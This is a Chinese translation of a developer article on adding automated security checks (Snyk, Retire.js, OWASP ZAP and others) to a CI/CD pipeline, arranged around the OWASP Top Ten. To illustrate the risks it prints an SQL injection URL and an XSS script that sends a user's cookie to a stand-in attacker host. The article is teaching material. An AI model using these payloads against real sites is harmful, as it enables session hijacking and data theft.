使用 CI/CD 管道防止应用程序被黑客入侵
您的 Web 应用现在极有可能面临攻击。事实上,根据最近的一项调查,2019 年,10 个 Web 应用程序中有 9 个容易受到攻击,45% 的生产应用程序存在“高风险”漏洞。这是一个严重的数字。幸运的是,有许多工具可以帮助您执行安全检查,其中许多可以通过 CI/CD 运行轻松实现自动化。
在本文中,我将探讨您应该防范的十大安全漏洞。我们将介绍一些可用于检查这些漏洞的工具,以及如何将它们与您的 DevSecOps 目标(即通过自动化 CI/CD 流程来提升安全性)相契合。
黑客如何攻击
黑客可以利用多种攻击媒介来访问您的系统。OWASP 基金会整理了一份十大安全风险清单。以下是一些值得了解和防范的攻击。
注入攻击
这些类型的攻击包括 SQL 注入和 LDAP 注入攻击。当用户在网站上输入的数据未经应用程序验证或过滤,并被发送到服务器/数据库时,就会发生这种情况。最糟糕的情况之一是攻击者可能会完全控制您的主机服务器。
以下是 SQL 注入攻击的一个例子。
https://somewebsite.com/customers?region=South'+OR+1=1--
根据请求如何设置来处理查询字符串,这可以转换为此 SQL 查询。
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
身份验证失败
如果身份验证机制未能正确实施,黑客就有可能攻破您的安全漏洞。会话令牌、密码和密钥可能会被攻击者窃取,并用于进行恶意更新。身份验证机制不完善意味着您的应用允许使用弱密码或众所周知的密码,或者允许自动攻击。以下是一些需要牢记的最佳做法。
敏感数据泄露
这是许多 API 的常见弱点——它们没有保护信用卡、医疗保健信息和其他敏感信息等数据。它们暴露这些数据的主要原因是它们在数据存储中根本不使用加密。确保应用程序遵循加密方面的合规性规定,可以确保您正确处理敏感数据。
XML 外部实体
如果 XML 处理器配置不当,它可能会被用来评估 XML 文档中的外部实体引用。这意味着攻击者将能够远程执行代码并查看内部端口等信息。为了防范此漏洞,您可以采取的措施之一是确保您的应用不直接接受任何 XML。
访问控制失效
许多经过身份验证的用户被授权使用超出其应有权限的功能。例如,他们可能拥有管理员权限,可以更改其他用户的帐户。防止这种情况发生的一种方法是将用户访问权限限制为他们所需的信息。
例如,如果用户的权限太广泛,他们可以通过更改 URL 对您的网站进行一些网络钓鱼并访问仅限管理员的区域。
https://newapp.com/site/get-info
http://newapp.com/site/admin/get-info
安全配置错误
包含过多关于系统、未完成配置和过时配置信息的错误消息可能会成为攻击点。攻击者可能会利用这些错误消息尝试查找系统中使用的未修补的库和存在漏洞的软件包。如果可以,请设置一个自动化流程来检查不同环境中的所有配置和设置。
跨站点脚本
这种攻击允许攻击者在用户的浏览器中执行恶意脚本。这可能导致诸如将用户重定向到恶意网站或劫持用户会话并窃取个人数据等后果。近三分之二的 Web 应用程序都存在跨站脚本攻击。
这是一个简单的跨站点脚本攻击的示例,其中用户的 cookie 被窃取并发送到攻击者的服务器,以便他们稍后可以冒充用户。
<script>
window.location="http://wrongsite.com/?cookie=" + document.cookie
</script>
不安全的反序列化
序列化(即将信息转换为可存储或传输的格式)通常用于在数据库中存储数据,例如 API 身份验证令牌和消息代理。当攻击者能够通过您的系统发送序列化对象,而您的系统对其进行反序列化时,这意味着您的应用程序很容易受到他人代码的攻击,这些代码会被发送到您的应用程序并在您的应用程序中执行——这是一个严重的漏洞。请确保您的应用不接受来自不受信任来源的序列化对象。
使用具有已知漏洞的软件包
不要忽略 GitHub 上的 Dependabot 消息。当您使用存在已知漏洞的软件包时,您的系统很容易受到已知攻击。当安全补丁发布时,请升级您的软件包和库版本。
日志记录和监控不足
如果您的应用程序没有设置足够的日志记录和监控,攻击者就会有足够的时间获取数据并在他人察觉之前溜走。一次数据泄露可能需要超过 200 天才能被发现,而且通常会被外部团队标记。拥有充足的日志记录和监控可以立即提醒您网络或服务器上的任何异常活动。
如何使用 CI/CD 管道预防攻击
现在我们了解了一些最常见的攻击媒介,让我们来看看一种缓解这些漏洞的方法:使用 CI/CD 工具自动执行安全检查。例如,我们将演示如何使用Heroku Flow轻松地将一些最流行的安全自动化工具添加到您的 CI 流水线中。
首先,让我们使用这个 React/Node 应用程序作为示例:https://github.com/flippedcoder/clear-budget-tracker
配置在app.json文件中完成。
{
"buildpacks": [
{
"url": "heroku/nodejs"
}
],
"environments": {
"test": {
"scripts": {
"test-setup": "npm install -g snyk retire",
"test": "snyk auth $SNYK_TOKEN && snyk test && retire && npm test"
}
}
}
}
此文件用于添加和修改在 Heroku CI 中运行的测试。通常它会运行npm test
命令。在本例中,我们在流程中添加了几个安全检查 - Snyk 和 Retire。
Snyk是一款出色的工具,可用于检查代码中的常见漏洞,例如跨站脚本、DoS 攻击和任意代码注入。它会在您的管道中运行,然后记录所有结果。您甚至可以配置它以发送报告。
我们还运行了Retire.js。Retire.js 会检查你的代码中是否存在任何易受攻击的软件包,并为你提供需要更新或替换的软件包列表。
有了这些,您就可以运行单元测试,进行额外的安全检查,然后照常完成其余的部署流程。以下是该流程在 Heroku Flow 中的样子。说实话,它是最容易理解的部署可视化工具之一。(忽略所有为了成功运行而失败的测试吧!)
当你将 Heroku 设置为在将更改推送到 GitHub 时自动运行你的流水线时,这种方法效果最佳。你甚至可以考虑除了 Heroku CI 之外,再运行一个 GitHub 操作,以便更早地获得反馈。
以上只是两种常用的安全工具,还有很多其他工具可供选择。以下是我推荐的其他一些工具,以及它们在流程阶段可能会用到的几个步骤。
建造
OWASP Dependency-Check - 开源工具,用于检测项目依赖项中包含的公开披露的漏洞。
Sonatype Nexus - 一款免费的扫描工具,用于检查你的代码是否存在开源漏洞。此外,它还提供了一个快速版本,可以通过 URL 检查网站。
测试
OWASP ZAP - 免费的开源渗透测试工具,用于测试浏览器和 Web 应用之间发送的消息。您可以在任何操作系统上使用它。
Veracode - 该项目提供几乎所有安全测试所需的工具。其中一个工具尤其可以用来检查依赖项漏洞并进行渗透测试。
送货
SQLMap——一种查找 SQL 注入缺陷的开源渗透测试工具。
Chef InSpec - 检查您的代码是否符合合规性/法规。
Burp - 检查请求和响应拦截。手动操作免费;自动操作需付费升级。
其他考虑因素
除了集成工具之外,您还可以使用 CI/CD 流水线来提升安全性。以下是一些最佳实践,您需要确保在所有流水线中都实施。
- 优化构建时间,快速部署到生产环境。这意味着保持较小的构建规模,并仅使用所需的工具。
- 在所有环境中保持一致。这将有助于测试;当开发人员和 QA 针对预发布环境或其他环境进行测试时,尽可能接近生产环境是最有用的。
- 不要将机密信息和凭证签入版本控制。确保所有 PR 都经过某种审核/测试来检查这一点。一旦合并,再取出这些信息会更加困难。
- 使管道成为将更改部署到生产的唯一方法,以便您始终知道何时发布代码更改。
结论
虽然建立安全管道需要前期投入,但回报丰厚。当您能够通过合规性审计,并且客户因为没有未解决的问题而信任您的服务时,您所有的安全工作都将物有所值。建立安全管道还能让整个公司更加放心,因为他们不必再担心项目被黑客入侵。
文章来源:https://dev.to/flippedcoding/using-your-ci-cd-pipeline-to-prevent-your-app-from-getting-hacked-1pk7